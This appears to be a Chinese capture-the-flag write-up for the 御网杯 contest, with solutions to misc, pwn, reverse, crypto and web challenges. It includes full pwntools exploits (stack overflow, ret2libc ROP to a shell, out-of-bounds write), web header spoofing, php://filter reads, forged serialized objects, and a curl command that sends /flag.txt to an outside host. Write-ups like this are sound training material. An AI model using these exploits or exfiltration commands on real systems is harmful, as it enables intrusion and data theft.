御网杯省赛wp

misc

光隙中的寄生密钥

文件分离得到

密码9864

解密得到5a6d78685a337368633073346145597a586e5a484e3231594d6e464566513d3d

十六进制转字符再base64

easy_misc

ascii转字符，随波逐流嗦了

77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 78 83 107 53 108 78 110 104 82 98 88 70 116 83 51 70 52 101 70 78 117 98 122 89 61

套娃

改zip

改三次之后在document.xml

中发现flag

ez_xor

5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0b-01-44

假设Flag以标准格式flag{开头，对应ASCII码为：
66 6C 61 67 7B

异或0x39

flag{HNCTFqweASD128}

ez_picture

一张全黑的图片

密码999999999

压缩包里的图片直接放随波逐流

得到

解出来

被折叠的显影图纸

010打开直接搜索flag

pwn

Canary

进行

在case1中存在栈溢出

在这里存在后门

利用栈溢出写exp

from pwn import *
context(log_level='debug')
a=remote('47.105.113.86',30001)

sys_binsh=0x401581
payload=b'a'*(88+16)+p64(0)+p64(0)+p64(sys_binsh)
a.recvuntil('your choice')
a.sendline('1')
a.recvuntil('code:')
a.sendline(payload)
a.recvuntil('your choice')
a.sendline('2')
a.sendline('3')
a.interactive()

ez_pwn

ida进行分析

关闭文件描述符

存在栈溢出，利用

通过栈溢出构造ROP链，调用write函数泄露其在GOT表中的地址。

结合Libc版本计算基址，得到system和/bin/sh的实际地址

二次溢出调用system("/bin/sh")，利用泄露的Libc地址执行命令。

ROPgadget找能用到的gagets

POP_RDI_RET = 0x00000000004012c3
POP_RSI_R15_RET = 0x00000000004012c1

shell之后最后输入exec 1>&2

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("47.105.113.86", 30003)

elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

# ==== ROP Gadget ====
pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
ret = 0x40101a  # 用于堆栈对齐（如果需要）

payload  = b"A" * 40
payload += p64(pop_rdi)
payload += p64(2)  # stdout 文件描述符
payload += p64(pop_rsi_r15)
payload += p64(elf.got['write'])
payload += p64(0)  # r15填充
payload += p64(elf.plt['write'])
payload += p64(elf.symbols['main'])  # 返回main以重进

p.sendline(payload)
p.recvuntil(b"blind now.")
write_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f"write@libc: {hex(write_leak)}")

libc_base = write_leak - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

log.success(f"libc base: {hex(libc_base)}")
log.success(f"system: {hex(system_addr)}")
log.success(f"/bin/sh: {hex(bin_sh)}")

payload  = b"A" * 40
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret)
payload += p64(system_addr)

p.sendline(payload)
p.interactive()

special_malloc

猛一看好像是堆题

但是仔细分析可以知道

这里存在system函数

并且在edit功能中

editit 后输入 负偏移值，程序未做有效边界检查，允许 越界写入栈或堆指针

第一次 editit -68：将某个位置的指针改写为 0x6020F0。

第二次 editit -36：向刚才定向的地址写入 0x12345678。

最终发送 cat_flags 和 flag，触发读取

from pwn import *

context.log_level = 'debug'

HOST = '47.105.113.86'
PORT = 30007

ADDR_TARGET = 0x6020F0
DATA_TO_WRITE = 0x12345678

# p = process('./pwn')
p = remote(HOST, PORT)

def send_cmd(cmd, delay=0.2):
    if isinstance(cmd, str):
        cmd = cmd.encode()
    p.sendline(cmd)
    sleep(delay)

send_cmd('add')

send_cmd('editit')
send_cmd('-68')
p.send(p64(ADDR_TARGET))
sleep(0.2)

send_cmd('editit')
send_cmd('-36')
p.send(p64(DATA_TO_WRITE))
sleep(0.2)

send_cmd('cat_flags')
send_cmd('flag')

p.interactive()

reverse

ez_math

给出的附件 pyc文件转化为py 得到密钥

写脚本提取出来其中包含的方程

from pathlib import Path

key = b'eq verySimple'
data = Path('eqEnc').read_bytes()

decoded = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
Path('eq_decoded.txt').write_bytes(decoded)

得到大量的方程组文件 eqEnc 使用 key 'eq verySimple' 对明文逐字节异或。

因此可逆，逐字节异或还原出 eq_decoded.txt，其中内容是 Z3 支持的 Python 表达式形式的约束方程。

利用z3约束器求解

from z3 import *

# 创建 8 位可打印 ASCII 字符变量 x[0] ~ x[37]
x = [BitVec(f'x_{i}', 8) for i in range(38)]
solver = Solver()
solver.add([And(32 <= xi, xi <= 126) for xi in x])  # 限制为可见字符

# 读取并逐条添加方程
with open('eq_decoded.txt') as f:
    for i, line in enumerate(f, 1):
        line = line.strip()
        if not line:
            continue
        try:
            solver.add(eval(line, {}, {"x": x}))
        except Exception as e:
            print(f"[!] Line {i} Error: {e}\n{line}")

# 求解并输出结果
if solver.check() == sat:
    model = solver.model()
    values = [model.evaluate(var).as_long() for var in x]
    print("✅ Solved:\n" + "\n".join(f"x[{i}] = {v}" for i, v in enumerate(values)))

    try:
        print("\n🔐 ASCII:", ''.join(map(chr, values)))
    except:
        print("⚠️ Some values could not be converted to characters.")

elif solver.check() == unsat:
    print("❌ No solution.")
else:
    print("⚠️ Solver could not determine satisfiability.")

sign in

rc4密钥密文

写解密脚本

from struct import pack

# 构造密钥（36字节）
v1 = [
    0xB8C6B89FC8B99FC8,
    0xCFB7B0C51443528F,
    0xB1A8C6B99BC7AC9C,
    0xBDC68AB3C59299C5
]
v2 = -1499806587

key = b''.join(pack('<Q', x) for x in v1) + pack('<i', v2)

# 构造密文（39字节）
v3 = [
    0x964212F289B15A46,
    0xE8DBE41B6AD45402,
    0xB528D168D1D7DB5D
]
cipher = b''.join(pack('<Q', x) for x in v3)

# 构造 v4 的拼接部分（15字节）
v4_head = pack('<Q', 0xA93723C924981D75)[:7]
v4_tail = pack('<Q', 0x2AC7CA00F7A6A9)
cipher += v4_head + v4_tail  # 总密文：24 + 15 = 39 字节

# RC4 解密函数
def rc4_decrypt(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    out = bytearray()
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        out.append(byte ^ k)
    return bytes(out)

# 解密 & 输出
flag = rc4_decrypt(key, cipher)
print("Flag:", flag.decode('utf-8', errors='replace'))

ez_js

给的附件里面的网页

f12搜ctf直接有flag

flag{HCTFqweIOP128}

crypto

baby_rsa

exe放到ida里面打开，提取出来n和c写脚本解密

from Crypto.Util.number import long_to_bytes
import sympy

# 将 N 和 c 粘贴在下面，删除多余换行或空格
N_str = '''
12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
'''

c_str = '''
4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063
'''

# 转换为整数
N = int(N_str.replace('\n', ''))
c = int(c_str.replace('\n', ''))
e = 65537

# 尝试找到相邻素数 p 和 q
def find_p_q():
    approx_sqrt, _ = sympy.integer_nthroot(N, 2)

    for i in range(1000):
        q_candidate = approx_sqrt - i
        if sympy.isprime(q_candidate):
            p_candidate = sympy.nextprime(q_candidate)
            if p_candidate * q_candidate == N:
                return p_candidate, q_candidate

    for i in range(1, 1000):
        q_candidate = approx_sqrt + i
        if sympy.isprime(q_candidate):
            p_candidate = sympy.nextprime(q_candidate)
            if p_candidate * q_candidate == N:
                return p_candidate, q_candidate

    return None, None

# 查找 p 和 q
p, q = find_p_q()
if p is None or q is None:
    print("❌ 无法找到合适的 p 和 q")
else:
    print(f"✅ 找到 p = {p}")
    print(f"✅ 找到 q = {q}")

    # 解密
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    m = pow(c, d, N)

    # 转字节
    flag_bytes = long_to_bytes(m)
    original_flag = flag_bytes.decode('ascii', errors='replace').rstrip('\x00')
    modified_flag = original_flag.replace('6', '7')

    print("\n🎯 原始 flag:", original_flag)
    print("🎯 修改后 flag:", modified_flag)

提交 flag{5c9c885c361541e0b261f58b61db8cec}

cry_rsa

计算过程

ez_base

得到

Dear Friend ; Especially for you - this amazing announcement 
. This is a one time mailing there is no need to request 
removal if you won't want any more ! This mail is being 
sent in compliance with Senate bill 2316 , Title 1 
; Section 303 ! This is not a get rich scheme . Why 
work for somebody else when you can become rich in 
77 months . Have you ever noticed society seems to 
be moving faster and faster and more people than ever 
are surfing the web ! Well, now is your chance to capitalize 
on this ! We will help you turn your business into 
an E-BUSINESS and sell more . You can begin at absolutely 
no cost to you . But don't believe us . Ms Ames who 
resides in Indiana tried us and says "Now I'm rich, 
Rich, RICH" . We are licensed to operate in all states 
. If not for you then for your LOVED ONES - act now 
! Sign up a friend and you'll get a discount of 30% 
! Thank-you for your serious consideration of our offer 
. Dear Colleague , Especially for you - this cutting-edge 
news . If you no longer wish to receive our publications 
simply reply with a Subject: of "REMOVE" and you will 
immediately be removed from our database ! This mail 
is being sent in compliance with Senate bill 1627 , 
Title 7 , Section 304 ! Do NOT confuse us with Internet 
scam artists . Why work for somebody else when you 
can become rich inside 61 weeks . Have you ever noticed 
how long the line-ups are at bank machines and how 
many people you know are on the Internet ! Well, now 
is your chance to capitalize on this . We will help 
you deliver goods right to the customer's doorstep 
and increase customer response by 140% . The best thing 
about our system is that it is absolutely risk free 
for you ! But don't believe us ! Prof Anderson who 
resides in Hawaii tried us and says "I've been poor 
and I've been rich - rich is better" ! We assure you 
that we operate within all applicable laws . Because 
the Internet operates on "Internet time" you must act 
now ! Sign up a friend and you get half off . Cheers 
. Dear Friend , This letter was specially selected 
to be sent to you ! We will comply with all removal 
requests ! This mail is being sent in compliance with 
Senate bill 1619 , Title 7 ; Section 302 . This is 
a ligitimate business proposal . Why work for somebody 
else when you can become rich within 71 WEEKS . Have 
you ever noticed nearly every commercial on television 
has a .com on in it & most everyone has a cellphone 
. Well, now is your chance to capitalize on this . 
We will help you decrease perceived waiting time by 
140% & SELL MORE ! The best thing about our system 
is that it is absolutely risk free for you . But don't 
believe us ! Mr Ames who resides in Rhode Island tried 
us and says "I was skeptical but it worked for me" 
. We assure you that we operate within all applicable 
laws ! DO NOT DELAY - order today ! Sign up a friend 
and you get half off . God Bless . 

邮件解密，在线网站http://www.spammimic.com/

得到

解密得到flag

gift

猜测pie

提交flag值凯撒密码加密，偏移量7在提交。

flag{wpl}

草甸方阵的密语

附件misc.exe,扔到ida里面

得到

栅栏10

凯撒7

easy-签到题

得到附件签到题.exe,扔ida得到

提取出来密文

web

YWB_Web_xff

查看源码

if ($_SERVER["REQUEST_METHOD"] == "POST") {
     $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
     if ($cip == "2.2.2.1") {
         echo '<div class="success">';
         echo '<h2>登录成功！</h2>';
         $flag = file_get_contents('/flag.txt');
         echo '<p>flag{' . htmlspecialchars($flag) . '}</p>';
         echo '</div>';
     } else {
         echo '<div class="error">';
         echo '<h2>登录失败</h2>';
         echo '<p>IP地址验证失败</p>';
         echo '<p>当前IP: ' . htmlspecialchars($cip) . '</p>';
         echo '</div>';
     }

这里有一些验证措施，可以抓包修改，也可以写脚本

import requests

url = "http://47.105.113.86:40001/"
headers = {
    "X-Forwarded-For": "2.2.2.1",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {"username": "a", "password": "a"}

response = requests.post(url, headers=headers, data=data)
print(response.text)

get flag

YWB_Web_命令执行过滤绕过

利用php伪协议base64读取flag.php

http://47.105.113.86:40002/?cmd=readfile(%27php://filter/convert.base64-encode/resource=flag.php%27);

得到PD8NCiRmaWxlbmFtZSA9ICIvdG1wL2ZsYWcubmlzcCI7DQokY29udGVudCA9IHRyaW0oZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKSk7DQo

解码

$filename = “/tmp/flag.nisp”;
$content = trim(file_get_contents($filename));

说明在flag.nisp里面

构造

解出

YWB_Web_未授权访问

抓包修改cookie值

改cookie值，改为O:5:”Admin”:2:{s:4:”name”;s:5:”guest”;s:7:”isAdmin”;b:1;}

YWB_Web_反序列化

看源码构造pop链

O:7:"mylogin":2:{s:4:"user";s:5:"admin";s:4:"pass";s:11:"myzS@11wawq";}

拿到flag

easyweb

利用post传参，将数据外带出来

curl http://47.236.118.120:8000/`cat /flag.txt`